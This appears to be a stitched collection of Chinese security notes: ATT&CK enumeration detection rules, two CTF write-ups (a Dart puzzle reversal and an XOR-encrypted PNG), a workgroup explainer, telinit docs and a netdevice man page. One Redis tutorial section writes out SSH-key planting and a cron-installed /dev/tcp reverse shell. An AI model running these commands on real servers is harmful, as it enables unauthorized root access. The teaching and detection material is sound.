sys.stdout.write("You entered: {}".format(line.strip()) + '\n')
sys.stdout.write("Answer: {}".format(c.evaluate(line)) + '\n')
sys.stdout.flush()
|
sec-knowleage
|
# T1069-001-win-AD特权组/用户枚举
## 来自ATT&CK的描述
攻击者可能会尝试查找本地系统组和权限设置。本地系统权限组的知识可以帮助攻击者确定存在哪些组以及哪些用户属于特定组。攻击者可以使用此信息来确定哪些用户具有较高的权限,例如在本地管理员组中找到的用户。
在Windows操作系统上可以使用net group /domain命令进行查找,在Mac操作系统上使用dscacheutil -q group命令、Linux上可以使用ldapsearch命令查找。
## 测试案例
在侦察阶段检测到攻击者非常重要,因为如果攻击者正处于此阶段,则意味着已经绕过了所有外围设备和安全防护阶段。Microsoft Net.exe程序可用于枚举本地和域用户和组。对于任何试图获取谁/何处等等答案的攻击者,这都是必须要做的。
攻击者可以通过Net命令枚举域和本地用户账户及管理组等信息。
## 检测日志
windows安全日志
## 测试复现
windows DOS命令:net user / net localgroup administrators
## 测试留痕
windwos 安全日志 4799/4798(注意:此事件日志仅限于windows server 2016/win10以上版本)
## 检测规则/思路
### sigma规则
```yml
title: 检测本地枚举用户组行为
description: windows server 2016
references:
tags: T1069-001
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection:
EventID:
- 4798 #已枚举用户的本地组成员身份。测试命令:net user
- 4799 #已枚举启用了安全机制的本地组成员身份。 测试命令:net localgroup administrators
Processname: 'C:\Windows\System32\net1.exe' #进程信息:进程名称
condition: selection
level: medium
```
```yml
title: 攻击者进行本地信息收集,执行whoami命令以及net user 命令
description: windows server 2012
status: experimental
logsource:
product: windows
service: security
detection:
selection1:
EventID: 4688 #已创建新进程
Newprocessname: '*\whoami.exe' #新进程名称
Processcommandline: whoami #进程命令行
selection2:
EventID: 4688 #已创建新进程
Newprocessname: '*\net.exe' #新进程名称
Processcommandline: net user #进程命令行
selection3:
EventID: 4688 #已创建新进程
Newprocessname: '*\net1.exe' #新进程名称
Processcommandline: '*\net1 user' #进程命令行
condition: selection1 or (selection2 and selection3)
level: medium
```
### 建议
暂无
## 相关TIP
[[T1069-002-win-AD特权组用户枚举]]
## 参考推荐
MITRE-ATT&CK-T1069-001
<https://attack.mitre.org/techniques/T1069/001/>
MITRE-ATT&CK-T1087
<https://attack.mitre.org/techniques/T1087/>
|
sec-knowleage
|
# Puzzle (re, 126p)
In the challenge we get to play a simple sliding puzzle game.
It's a browser game so we can get the [game script](main.dart.js).
It seems to be transpiled dart code to JS, which makes lots of code to look at.
However once you look closely, most of the code doesn't really do anything useful, some standard functions, some objects creations, and very little actual functional code.
From the code, and from playin the game we can notice that there are a bunch of REST endpoints:
- `/api/new_game` we GET a session cookie and a game board to solve
- `/api/validate` we POST set of moves we performed and the server checks if this is a valid solution to puzzle assigned to our session ID
- `api/submit` we POST our username for the Hall-of-Fame.
First two endpoints are not particularly interesting, but the last one is.
Once we win the game, we can submit our name, and surprisingly the server sends something back:
```
{"err":null,"msg":"Congratulations!","success":true,"data":"I3LZuNvvtmms1SAsE+KP8/aTUZrl7ijPFrByKFRppelWHoT6ez/U0FXywLrn5n+S/4MGtSHb/19CGXc5S9lB7WdIy63qFQIIsFx8k2vJmzpYHaoL5pYHwLxGcSxAH4OD2SJyN6E4TsZkbqrZv/4mHCb7phDqgg5o+WfTyP/3KNRhgu1pbJntnDz5Ya19lHU5LdIW5t34SSH54nbLiowbGJ9SFDrnZNEkzOHDfQBKZf3yxCm3/ogxth8Xfjq/D0VTs1BN+2IgBZS7J59fjaI3QbbFU1AC0ZG4Xu1ULem7ogvTI1ppAkddiYPDuFW0cEehZnNIKOj1S5AEKjpXE1vHiIUnV54+OcmqE1eFUdKYBQIwMjYdK+z8wCCXOVV2e/iMFiZeRQia/Xpbm+GfYH7YUD/Ztnpb51vsdU0BVN6SUjDePVeUamKsNhOU1qy8uyE+JsTPohUNKsdeY8Nw0o/jctcOqk64/v5ppY6XhoU3tev+f+x1lRE0EbRpYkSRX+qgx5EyiTiLAtWUuQrjzbZOoupMH81WSQ3OD5Td9IV5rcC1QthJ4ZfKbWIf4oUm565LEYC+grIu0miy+BNX78BTuz46sG/viN4PoBhC7jh7OCOdRUxFZamarEgipiXcqjvTcSpM731jYJKBL3cwHEf8Wrm47ifMkQHmGRvz1yLvPmV6Ubg87n8sGoMO0h5uV/uWLLrIuzKy2lOAayapFiVyLOxqfV24d/xx+6KtzQOy7PXPKn8haXzNCxP5ZEVTzkCwlpldfXydcX0dShmp31ZaJYKeLJSWDMWN3pybu0Ts0vn7rUenjuLWQrTj+s/as0wUS6FumLERmsWdla0DVOQUPlBiMdFlrrEMdJzFNDz+p6Z0b7+BF5y633PFrs81yjJauuIDN0FMFjVsyffZFkFHf8EvWJApT03N29BaM6rm0d8waFe2Q0QYEwSQ+PLmf7BwuTCdpYWoI4T5KZ5Yq5ijJdpzD3tpJ4ukEGigmC0a9rCdfSl0uQYt4784EHex4bsuKqBth3P/KiDRVgwB66arnZtJ3LGr9ZYsZl/auJm7xsYH1zN6blTqV+ZnS1fTH4VQvPH90ITT7HBNkIXSdwYUlL5LaZyHc5wpGTPy5fYx1BP1acsB387zpK1VjTNNllEMa2K/qjybrJ2L/eeLR3FdI3dIkDy01BQp8oUnZJFnknICWr2ce7soJM1B6zS8Ov9cqjsHPrJmLO88B8XoSn1RZ92c66YT670oiJeFn/Yx52/9UUJtCAIfSUWVeE9ScCoCGQ+4f0FjlYHafT4JUYfADrZ8ziRxAMCTQ+NLvidRAnkI3EBQN8fh8VQBuI+2SrHgIkDf9ogf5d3PDi8/gD0fONyqETFFWgtteSdegwBBynKiN42mbnjAXZdObgp30ibo//22onf4yfiCjKozhQGFfuQ+zRojKWkfp3QMyNduMIRQ/IAx5wtzMEqobyHEH8ppSpkEUFWbVOS8PmB9Jws4NXgGlcIIZ0aw3Eg03o6Sg6JaDPZJ5exJwvhEDkr7AlYWzm6wXq4QcYVg1dJEI7nrqzLVcq4VYhuxMYIcaMqp/aq312hPKxalf+58/8M+cusLZRQu6ZdGfPzQMkQf7jwZ23znPWKUl+MW2Jjxt7Sb8a2wiPGcm7jxu52l8ayHiPGltYzxp76/8Yu3kvGngqzxq46/8bSTlvGzi47xraa58Z2Fj/GfrYLxuo+U8ZiVsPG7h4zxqbiV8aOcrPGtsJjxpYy38bGSq/GqjbfxuL+J8Z2frPGjtZHxiqSS8aa4hvGRsozxroWw8ZSYlfGhkrbxrYmn8bCgqw=="}
```
This is a bit unexpected because it seems the game doesn't really do much with it.
It's not a new board, nothing pops up.
So we dig deeper, what exactly happens with this weird payload:
```js
E.JZ.prototype = {
$1: function (a) {
var u, t, s
H.a(a, "$ijM")
u = H.J(a.a)
t = this.a
s = t.c
if (u) E.XA(s, !1, "Bruce Lee", "Enter Your Name", a.b).bR(new E.JY(t, a), null)
else E.nU(s, a.b, null)
},
$S: 289
}
E.JY.prototype = {
$1: function (a) {
var u, t, s, r, q, p, o, n, m, l, k, j, i, h, g
H.P(a)
if (a != null && a.length !== 0) {
u = this.b.c
if (u.length !== 0) {
t = C.fX.bJ(u)
u = t.length
if (0 >= u) return H.o(t, 0)
s = t[0]
r = H.h([], [[P.p, P.r]])
for (q = H.cD(C.M, t, "a8", 0), p = 0; p < s; ++p) {
o = p * s
n = o + 1
o = o + s + 1
P.dq(n, o, u)
C.a.h(r, H.cT(t, n, o, q).b8(0))
}
o = s * s + 1
P.dq(o, u, u)
m = H.cT(t, o, u, q).b8(0)
q = m.length
u = new G.GU(m, 0, q)
o = q + 0
if (o > q) H.a5(P.l_(o, null))
l = new B.OC(u.gZ(u)).TA()
k = H.h([], [P.r])
for (u = a.length, p = 0; p < u; ++p) C.a.h(k, C.f.a4(a, p))
for (u = l.length, q = r.length, o = k.length, j = 0, p = 0; p < s; ++p) {
for (i = 0, h = 0; h < s; ++h) {
n = o > h ? k[h] : 0
if (p >= q) return H.o(r, p)
g = r[p]
if (h >= g.length) return H.o(g, h)
g = g[h]
if (typeof g !== "number") return H.d(g)
i += n * g
}
if (p >= u) return H.o(l, p)
if (i === l[p]) ++j
}
u = this.a
if (j === s) E.nU(u.c, "Congratulations again on you-know-what!", "RealWorld Slide Puzzle Solved")
else A.AK(a).bR(new E.JU(u), null).fX(new E.JV(u))
} else {
u = this.a
A.AK(a).bR(new E.JW(u), null).fX(new E.JX(u))
}
}
},
$S: 59
}
```
From `if (u) E.XA(s, !1, "Bruce Lee", "Enter Your Name", a.b).bR(new E.JY(t, a), null)` we jump to `E.JY(t, a)` which is just below.
Fortunately IntelliJ handles jumping around this code just fine :)
This part `if (j === s) E.nU(u.c, "Congratulations again on you-know-what!", "RealWorld Slide Puzzle Solved")` looks promising.
Maybe if we can reach this condition we can get the flag.
We proceed with reversing this function.
Once you get rid of all type and error checks, and follow some of the functions is becomes pretty clear:
First by `t = C.fX.bJ(u)` we decode base64.
Then with `s = t[0]` we read size and number of chunks, it was always `#` so 35.
Next:
```js
for (q = H.cD(C.M, t, "a8", 0), p = 0; p < s; ++p) {
o = p * s
n = o + 1
o = o + s + 1
P.dq(n, o, u)
C.a.h(r, H.cT(t, n, o, q).b8(0))
}
```
Prefix of the data (minus the first character) is split into `s` chunks each with `s` bytes, so in our case 35 chunks of 35 bytes each.
Then happens `l = new B.OC(u.gZ(u)).TA()` which does some magic on the last 140 bytes of the data, and gets back array of 35 integers.
After that there is `for (u = a.length, p = 0; p < u; ++p) C.a.h(k, C.f.a4(a, p))` which basically fills array `k` with characters of the `username` we provided for the scoreboard.
The last part is:
```js
for (u = l.length, q = r.length, o = k.length, j = 0, p = 0; p < s; ++p) {
for (i = 0, h = 0; h < s; ++h) {
n = o > h ? k[h] : 0
if (p >= q) return H.o(r, p)
g = r[p]
if (h >= g.length) return H.o(g, h)
g = g[h]
if (typeof g !== "number") return H.d(g)
i += n * g
}
if (p >= u) return H.o(l, p)
if (i === l[p]) ++j
}
```
If we clear this up a bit we end up with:
```js
j = 0
for (p = 0; p < s; ++p) {
i = 0
for (h = 0; h < s; ++h) {
i += r[p][h]*k[h]
}
if (i === l[p]) ++j
```
Let's assume for a moment `k` has size 35, after all we could just put `0` a the end.
What really happens here is simply that Matrix 35x35 denoted by coefficients `r` is multiplied by vector `k` and the result vector is compared to array `l`.
And we've seen at the beginning that `if (j === s) E.nU(u.c, "Congratulations again on you-know-what!", "RealWorld Slide Puzzle Solved")` so if all 35 elements match we have the flag.
We suspected that the flag is the name we send to the server, and for the valid flag this matrix equation will work.
We had problems with reversing the function for creating array `l`, but we ended up simply dumping the values from the debugger, after the game calculated them for us.
We end up with code:
```python
def chunk(data):
size = ord(data[0]) # 35
data = data[1:]
return [map(ord,data[i*size:(i+1)*size]) for i in range(size)]
def L_array():
return [490779, 449544, 378616, 505701, 442824, 417100, 425919, 310738, 422060, 439231, 476374, 471758, 448953, 381263, 392002, 500692,
361840, 504268, 433685, 407340, 449560, 414519, 464043, 435063, 495561, 382956, 408913, 305426, 421382, 334988, 450928, 345621,
398518, 447079, 460843]
def solve_checksum(data):
s = ord(data[0])
r = chunk(data)
l = L_array()
m = Matrix(r)
solution = m\vector(l)
return "".join(chr(int(c)) for c in solution)
def main():
data = "I3LZuNvvtmms1SAsE+KP8/aTUZrl7ijPFrByKFRppelWHoT6ez/U0FXywLrn5n+S/4MGtSHb/19CGXc5S9lB7WdIy63qFQIIsFx8k2vJmzpYHaoL5pYHwLxGcSxAH4OD2SJyN6E4TsZkbqrZv/4mHCb7phDqgg5o+WfTyP/3KNRhgu1pbJntnDz5Ya19lHU5LdIW5t34SSH54nbLiowbGJ9SFDrnZNEkzOHDfQBKZf3yxCm3/ogxth8Xfjq/D0VTs1BN+2IgBZS7J59fjaI3QbbFU1AC0ZG4Xu1ULem7ogvTI1ppAkddiYPDuFW0cEehZnNIKOj1S5AEKjpXE1vHiIUnV54+OcmqE1eFUdKYBQIwMjYdK+z8wCCXOVV2e/iMFiZeRQia/Xpbm+GfYH7YUD/Ztnpb51vsdU0BVN6SUjDePVeUamKsNhOU1qy8uyE+JsTPohUNKsdeY8Nw0o/jctcOqk64/v5ppY6XhoU3tev+f+x1lRE0EbRpYkSRX+qgx5EyiTiLAtWUuQrjzbZOoupMH81WSQ3OD5Td9IV5rcC1QthJ4ZfKbWIf4oUm565LEYC+grIu0miy+BNX78BTuz46sG/viN4PoBhC7jh7OCOdRUxFZamarEgipiXcqjvTcSpM731jYJKBL3cwHEf8Wrm47ifMkQHmGRvz1yLvPmV6Ubg87n8sGoMO0h5uV/uWLLrIuzKy2lOAayapFiVyLOxqfV24d/xx+6KtzQOy7PXPKn8haXzNCxP5ZEVTzkCwlpldfXydcX0dShmp31ZaJYKeLJSWDMWN3pybu0Ts0vn7rUenjuLWQrTj+s/as0wUS6FumLERmsWdla0DVOQUPlBiMdFlrrEMdJzFNDz+p6Z0b7+BF5y633PFrs81yjJauuIDN0FMFjVsyffZFkFHf8EvWJApT03N29BaM6rm0d8waFe2Q0QYEwSQ+PLmf7BwuTCdpYWoI4T5KZ5Yq5ijJdpzD3tpJ4ukEGigmC0a9rCdfSl0uQYt4784EHex4bsuKqBth3P/KiDRVgwB66arnZtJ3LGr9ZYsZl/auJm7xsYH1zN6blTqV+ZnS1fTH4VQvPH90ITT7HBNkIXSdwYUlL5LaZyHc5wpGTPy5fYx1BP1acsB387zpK1VjTNNllEMa2K/qjybrJ2L/eeLR3FdI3dIkDy01BQp8oUnZJFnknICWr2ce7soJM1B6zS8Ov9cqjsHPrJmLO88B8XoSn1RZ92c66YT670oiJeFn/Yx52/9UUJtCAIfSUWVeE9ScCoCGQ+4f0FjlYHafT4JUYfADrZ8ziRxAMCTQ+NLvidRAnkI3EBQN8fh8VQBuI+2SrHgIkDf9ogf5d3PDi8/gD0fONyqETFFWgtteSdegwBBynKiN42mbnjAXZdObgp30ibo//22onf4yfiCjKozhQGFfuQ+zRojKWkfp3QMyNduMIRQ/IAx5wtzMEqobyHEH8ppSpkEUFWbVOS8PmB9Jws4NXgGlcIIZ0aw3Eg03o6Sg6JaDPZJ5exJwvhEDkr7AlYWzm6wXq4QcYVg1dJEI7nrqzLVcq4VYhuxMYIcaMqp/aq312hPKxalf+58/8M+cusLZRQu6ZdGfPzQMkQf7jwZ23znPWKUl+MW2Jjxt7Sb8a2wiPGcm7jxu52l8ayHiPGltYzxp76/8Yu3kvGngqzxq46/8bSTlvGzi47xraa58Z2Fj/GfrYLxuo+U8ZiVsPG7h4zxqbiV8aOcrPGtsJjxpYy38bGSq/GqjbfxuL+J8Z2frPGjtZHxiqSS8aa4hvGRsozxroWw8ZSYlfGhkrbxrYmn8bCgqw=="
data = data.decode("base64")
print(solve_checksum(data))
main()
```
And once we run this we get back: `rwctf{wr1te-0nce~DEBUG+ev3ry|wh3re}`
|
sec-knowleage
|
# 工作组
---
**工作组的定义**
工作组是局域网中的一个概念,它是最常见的资源管理模式,简单是因为默认情况下计算机都是采用工作组方式进行资源管理的。将不同的电脑按功能分别列入不同的组中,以方便管理。默认情况下所有计算机都处在名为 WORKGROUP 的工作组中,工作组资源管理模式适合于网络中计算机不多,对管理要求不严格的情况。它的建立步骤简单,使用起来也很好上手。大部分中小公司都采取工作组的方式对资源进行权限分配和目录共享。相同组中的不同用户通过对方主机的用户名和密码可以查看对方共享的文件夹,默认共享的是 Users 目录。不同组的不同用户通过对方主机的用户名和密码也可以查看对方共享的文件夹。所以工作组并不存在真正的集中管理作用,工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的。
**工作组的加入**
右击桌面上的“计算机”,在弹出的菜单出选择“属性”,点击“高级系统设置”-->“计算机名”,点击“更改”在“计算机名”一栏中键入你想好的名称,在“工作组”一栏中键入你想加入的工作组名称。如果你输入的工作组名称网络中没有,那么相当于新建了一个工作组,当然暂时只有你的电脑在组内。单击“确定”按钮后,Windows 提示需要重新启动,重新启动之后,再进入“网络”就可以看到你所加入的工作组成员了
**工作组的退出**
只要将工作组名称改动即可。不过在网上别人照样可以访问你的共享资源。你也可以随便加入同一网络上的任何其它工作组。“工作组”就像一个可以自由进入和退出的“社团”,方便同一组的计算机互相访问。
**工作组的访问**
文件夹-->网络,就可以查看到我们工作组中的其他计算机了,当你要访问某台计算机时,点击它,然后输入该主机的用户名和密码即可看到该主机共享的文件夹。
**工作组的优缺点**
- 优点
在一个网络内,可能有上百台电脑,如果这些电脑不进行分组,都列在“网上邻居”中,电脑无规则的排列为我们访问资源带来不方便。为了解决这一问题,Windows98操作系统之后就引用了“工作组”这个概念,将不同的电脑按功能分别列入不同的组中,如软件部的电脑都列入“软件部”工作组中,网络部的电脑都列入“网络部”工作组中。你要访问某个部门的资源,就在“网上邻居”里找到那个部门的工作组名,双击就可以看到那个部门的电脑了。计算机通过工作组进行分类,使得我们访问资源更加具有层次化。工作组情况下资源可以相当随机和灵活的分布,更方便资源共享,管理员只需要实施相当低级的维护。
- 缺点
缺乏集中管理与控制的机制,没有集中的统一帐户管理,没有对资源实施更加高效率的集中管理,没有实施工作站的有效配置和安全性严密控制。只适合小规模用户的使用。
基于以上缺点,当计算机数量比较多,大型企业中网络规模大,需要统一的管理和集中的身份验证,并且能够给用户提供方便的搜索和使用网络资源的方式,工作组的组织形式就不合适了,于是域就出现了
---
## Source & Reference
- [内网渗透 | 工作组和域的区别](https://mp.weixin.qq.com/s/5wgCGHrE5MNsKvN9rChBsw)
|
sec-knowleage
|
# Redis未授权访问漏洞
## 简介
redis是一个开源的存储系统,支持数据的持久化存储、支持key-value、list、set等数据结构存储,支持备份。
但若redis存在未授权访问,就会导致攻击者可以无需认证就能访问redis内部资源,获取敏感文件,甚至执行flushall清空数据,给root账户写入ssh公钥直接远程登录目的服务器。
## 环境搭建
```
wget https://download.redis.io/releases/redis-5.0.14.tar.gz
tar xvf redis-5.0.14.tar.gz
cd redis-5.0.14
make -j 4
make install
```
直接运行redis-server
```
redis-server --protected-mode no
```
## 漏洞复现
```
root@l-virtual-machine:/opt# redis-cli -h 192.168.32.141
192.168.32.141:6379> keys *
(empty array)
```

SSH私钥访问
```sh
$ ssh-keygen -t rsa
$ (echo -e " "; cat /root/.ssh/id_rsa.pub; echo -e " ") > foo.txt
$ cat foo.txt | redis-cli -h 192.168.32.141 -x set test
$ redis-cli -h 192.168.32.141
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
```
反弹shell
> 此方法在ubuntu中因无法忽略乱码导致失败
>
> 
```sh
#shell.sh
echo -e "\n\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.32.141/9999 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
```

|
sec-knowleage
|
### [第二十一课:基于ICMP发现内网存活主机](../Chapter1/21-30/21_基于ICMP发现内网存活主机.md)
### [第二十二课:基于SMB发现内网存活主机](../Chapter1/21-30/22_基于SMB发现内网存活主机.md)
### [第二十三课:基于MSF发现内网存活主机第一季](../Chapter1/21-30/23_基于MSF发现内网存活主机第一季.md)
### [第二十四课:基于MSF发现内网存活主机第二季](../Chapter1/21-30/24_基于MSF发现内网存活主机第二季.md)
### [第二十五课:基于MSF发现内网存活主机第三季 ](../Chapter1/21-30/25_基于MSF发现内网存活主机第三季.md)
### [第二十六课:基于MSF发现内网存活主机第四季](../Chapter1/21-30/26_基于MSF发现内网存活主机第四季.md)
### [第二十七课:基于MSF发现内网存活主机第五季 ](../Chapter1/21-30/27_基于MSF发现内网存活主机第五季.md)
### [第二十八课:基于MSF发现内网存活主机第六季](../Chapter1/21-30/28_基于MSF发现内网存活主机第六季.md)
### [第二十九课:发现目标WEB程序敏感目录第一季](../Chapter1/21-30/29_发现目标WEB程序敏感目录第一季.md)
### [第三十课:解决msfvenom命令自动补全](../Chapter1/21-30/30_解决msfvenom命令自动补全.md)
|
sec-knowleage
|
# Beginners Luck (crypto)
```
Derp just had his first class of cryptography, and he feels really confident about his skills in this field. Can you break his algorithm and get the flag?
```
###ENG
[PL](#pl-version)
In the task we get [encryption algorithm](enc27.py) and [encrypted flag](BITSCTFfullhd.png).
The algorithm is simple enough:
```python
#!/usr/bin/env python
def supa_encryption(s1, s2):
res = [chr(0)]*24
for i in range(len(res)):
q = ord(s1[i])
d = ord(s2[i])
k = q ^ d
res[i] = chr(k)
res = ''.join(res)
return res
def add_pad(msg):
L = 24 - len(msg)%24
msg += chr(L)*L
return msg
with open('fullhd.png','rb') as f:
data = f.read()
data = add_pad(data)
with open('key.txt') as f:
key = f.read()
enc_data = ''
for i in range(0, len(data), 24):
enc = supa_encryption(data[i:i+24], key)
enc_data += enc
with open('BITSCTFfullhd.png', 'wb') as f:
f.write(enc_data)
```
It loads a 24-byte xor key and input png file, adds padding to the input file so that it is a multiple of 24 bytes and then xors every 24 bytes of the input file with the xor key.
Breaking this is simple enough once we know that PNG files have a well known header and trailer.
We know that the file has to start with 16 bytes:
```
0x89, 0x50, 0x4e, 0x47, 0xd, 0xa, 0x1a, 0xa, 0x0, 0x0, 0x0, 0xd, 0x49, 0x48, 0x44, 0x52
```
Once we use this key with `0x0` as missing 8 bytes we can already spot where the `IEND` trailer should be and we can use this information to fill the blank spaces in the xor key.
Finally we get:
```python
from crypto_commons.generic import xor, xor_string
def main():
with open('BITSCTFfullhd.png', 'rb') as f:
data = f.read()
pngheader_and_trailer = [137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 0xd, 0x49, 0x48, 0x44, 0x52, 0x0, 0x0, 0x7,
0x80, 0x0,
0x0, 0x4, 56]
result = xor(pngheader_and_trailer, map(ord, data[:len(pngheader_and_trailer)]))
key = "".join([chr(c) for c in result]) + ("\0" * (24 - len(pngheader_and_trailer)))
with open('result.png', 'wb') as f:
f.write(xor_string(data, key * (len(data) / len(key))))
main()
```
And this gives us the [flag file](result.png)
###PL version
W zadaniu dostajemy [algorytm szyfrowania](enc27.py) i [zaszyfrowaną flagę](BITSCTFfullhd.png).
Algorytm jest dość prosty:
```python
#!/usr/bin/env python
def supa_encryption(s1, s2):
res = [chr(0)]*24
for i in range(len(res)):
q = ord(s1[i])
d = ord(s2[i])
k = q ^ d
res[i] = chr(k)
res = ''.join(res)
return res
def add_pad(msg):
L = 24 - len(msg)%24
msg += chr(L)*L
return msg
with open('fullhd.png','rb') as f:
data = f.read()
data = add_pad(data)
with open('key.txt') as f:
key = f.read()
enc_data = ''
for i in range(0, len(data), 24):
enc = supa_encryption(data[i:i+24], key)
enc_data += enc
with open('BITSCTFfullhd.png', 'wb') as f:
f.write(enc_data)
```
Ładujemy 24-bajtowy klucz xora oraz plik png, dodaje do pliku png padding tak żeby jego rozmiar był wielokrotnością 24 bajtów, następnie xoruje 24 bajtowe fragmenty pliku wejściowego z kluczem.
Złamanie tego jest dość proste jeśli wiemy że plik PNG ma dobrze zdefiniowany header i trailer.
Wiemy że plik musi zaczynać się od 16 bajtó:
```
0x89, 0x50, 0x4e, 0x47, 0xd, 0xa, 0x1a, 0xa, 0x0, 0x0, 0x0, 0xd, 0x49, 0x48, 0x44, 0x52
```
Kiedy użyjemy tego klucza z `0x0` jako brakujące 8 bajtów klucza to możemy znaleźć pod koniec pliku miejsce gdzie powinien być `IEND` i na podstawie tej informacji możemy wypełnić brakujące elementy klucza.
Finalnie dostajemy:
```python
from crypto_commons.generic import xor, xor_string
def main():
with open('BITSCTFfullhd.png', 'rb') as f:
data = f.read()
pngheader_and_trailer = [137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 0xd, 0x49, 0x48, 0x44, 0x52, 0x0, 0x0, 0x7,
0x80, 0x0,
0x0, 0x4, 56]
result = xor(pngheader_and_trailer, map(ord, data[:len(pngheader_and_trailer)]))
key = "".join([chr(c) for c in result]) + ("\0" * (24 - len(pngheader_and_trailer)))
with open('result.png', 'wb') as f:
f.write(xor_string(data, key * (len(data) / len(key))))
main()
```
A to daje [plik z flagą](result.png)
|
sec-knowleage
|
telinit
===
切换当前正在运行系统的运行等级
## 补充说明
**telinit命令** 用于切换当前正在运行的Linux系统的运行等级。
_RUNLEVEL_ 参数应该是多用户运行级别 `2-5` 之一,`0` 用于停止系统,`6` 用于重新启动系统,或 `1` 用于使系统进入单用户模式。
通常您会使用 `shutdown(8)` 工具来停止或重新启动系统,或者将其降低到单用户模式。
_RUNLEVEL_ 也可能是 S 或 s ,这会将系统直接置于单用户模式,而无需先实际停止进程,您可能不希望这样。
通过发出 `runlevel(7)` 事件来更改运行级别,该事件包括 _RUNLEVEL_ 环境变量中的新运行级别以及 PREVLEVEL 变量中的先前运行级别(从环境或 `/var/run/utmp` 获得)。
**telinit** 会将新的运行级别写入 `/var/run/utmp` 并将新条目附加到 `/var/log/wtmp`。
### 语法
```shell
telint(选项)(参数)
telinit [OPTION]... RUNLEVEL
```
### 选项
```shell
-t:指定等待的秒数。
-e 键=值
```
这指定了与 _RUNLEVEL_ 和 _PREVLEVEL_ 一起包含在事件中的附加环境变量。
### 参数
运行等级:指定要切换的运行等级。
### Environment
RUNLEVEL
如果设置优先于从 `/var/run/utmp` 读取,`telinit` 将从该环境变量读取当前运行级别
### Files
- `/var/run/utmp` 将从哪里读取当前运行级别; 此文件也将使用新的运行级别进行更新。
- `/var/log/wtmp` 新的运行级别记录将附加到此文件中以获取新的运行级别。
|
sec-knowleage
|
'\" t
.\" Don't change the first line, it tells man that tbl is needed.
.\" This man page is Copyright (C) 1999 Andi Kleen <ak@muc.de>.
.\" Permission is granted to distribute possibly modified copies
.\" of this page provided the header is included verbatim,
.\" and in case of nontrivial modification author and date
.\" of the modification is added to the header.
.TH NETDEVICE 7 "2 May 1999" "Linux Man Page" "Linux Programmer's Manual"
.SH NAME
netdevice \- 底层访问 Linux 网络设备.
.SH "总览 (SYNOPSIS)"
.B "#include <sys/ioctl.h>"
.br
.B "#include <net/if.h>"
.SH "描述 (DESCRIPTION)"
本手册 描述 用于 配置 网络设备 的 套接字(socket) 接口.
Linux 支持 一些 配置 网络设备 的 标准 ioctl. 他们 用于 任意的 套接字 描述符,
而 无须 了解 其 类型 或 系列. 他们 传递 一个
.B ifreq
结构:
.nf
.ta 4 20 42
struct ifreq
{
char ifr_name[IFNAMSIZ]; /* Interface name */
union {
struct sockaddr ifr_addr;
struct sockaddr ifr_dstaddr;
struct sockaddr ifr_broadaddr;
struct sockaddr ifr_netmask;
struct sockaddr ifr_hwaddr;
short ifr_flags;
int ifr_ifindex;
int ifr_metric;
int ifr_mtu;
struct ifmap ifr_map;
char ifr_slave[IFNAMSIZ];
char ifr_newname[IFNAMSIZ];
char * ifr_data;
};
}
struct ifconf
{
int ifc_len; /* size of buffer */
union {
char * ifc_buf; /* buffer address */
struct ifreq *ifc_req; /* array of structures */
};
};
.ta
.fi
一般说来, ioctl 通过 把
.B ifr_name
设置为 接口 的 名字 来 指定 将要 操作 的 设备. 结构的 其他成员 可以 分享 内存.
.SH IOCTLS
如果 某个 ioctl 标记为 特权操作, 那么 操作时 需要 有效uid 为 0, 或者 拥有
.B CAP_NET_ADMIN
能力. 否则 将 返回
.B EPERM .
.TP
.B SIOCGIFNAME
给定
.BR ifr_ifindex,
返回
.BR ifr_name
中 的 接口名字. 这是 唯一 返回
.BR ifr_name
内容 的 ioctl.
.TP
.B SIOCGIFINDEX
把 接口 的 索引 存入
.BR ifr_ifindex .
.TP
.BR SIOCGIFFLAGS ", " SIOCSIFFLAGS
读取 或 设置 设备的 活动标志字.
.B ifr_flags
包含 下列值 的 屏蔽位:
.TS
tab(:);
c s
l l.
设备标志
IFF_UP: 接口正在运行.
IFF_BROADCAST: 有效的广播地址集.
IFF_DEBUG: 内部调试标志.
IFF_LOOPBACK: 这是自环接口.
IFF_POINTOPOINT: 这是点到点的链路接口.
IFF_RUNNING: 资源已分配.
IFF_NOARP: 无arp协议, 没有设置第二层目的地址.
IFF_PROMISC: 接口为杂凑(promiscuous)模式.
IFF_NOTRAILERS: 避免使用trailer .
IFF_ALLMULTI: 接收所有组播(multicast)报文.
IFF_MASTER: 主负载平衡群(bundle).
IFF_SLAVE: 从负载平衡群(bundle).
IFF_MULTICAST: 支持组播(multicast).
IFF_PORTSEL: 可以通过ifmap选择介质(media)类型.
IFF_AUTOMEDIA: 自动选择介质.
IFF_DYNAMIC: 接口关闭时丢弃地址.
.TE
设置 活动标志字 是 特权操作, 但是 任何进程 都可以 读取 标志字.
.TP
.BR SIOCGIFMETRIC ", " SIOCSIFMETRIC
使用
.BR ifr_metric
读取 或 设置 设备的 metric 值. 该功能 目前 还没有 实现. 读取操作 使
.B ifr_metric
置 0, 而 设置操作 则 返回
.B EOPNOTSUPP.
.TP
.BR SIOCGIFMTU ", " SIOCSIFMTU
使用
.BR ifr_mtu
读取 或 设置 设备的 MTU(最大传输单元).
设置 MTU 是 特权操作. 过小的 MTU 可能 导致 内核 崩溃.
.TP
.BR SIOCGIFHWADDR ", " SIOCSIFHWADDR
使用
.BR ifr_hwaddr
读取 或 设置 设备的 硬件地址. 设置 硬件地址 是 特权操作.
.TP
.B SIOCSIFHWBROADCAST
使用
.BR ifr_hwaddr
读取 或 设置 设备的 硬件广播地址. 这是个 特权操作.
.TP
.BR SIOCGIFMAP ", " SIOCSIFMAP
使用
.BR ifr_map
读取 或 设置 接口的 硬件参数. 设置 这个参数 是 特权操作.
.nf
.ta 4 20 42
struct ifmap
{
unsigned long mem_start;
unsigned long mem_end;
unsigned short base_addr;
unsigned char irq;
unsigned char dma;
unsigned char port;
};
.ta
.fi
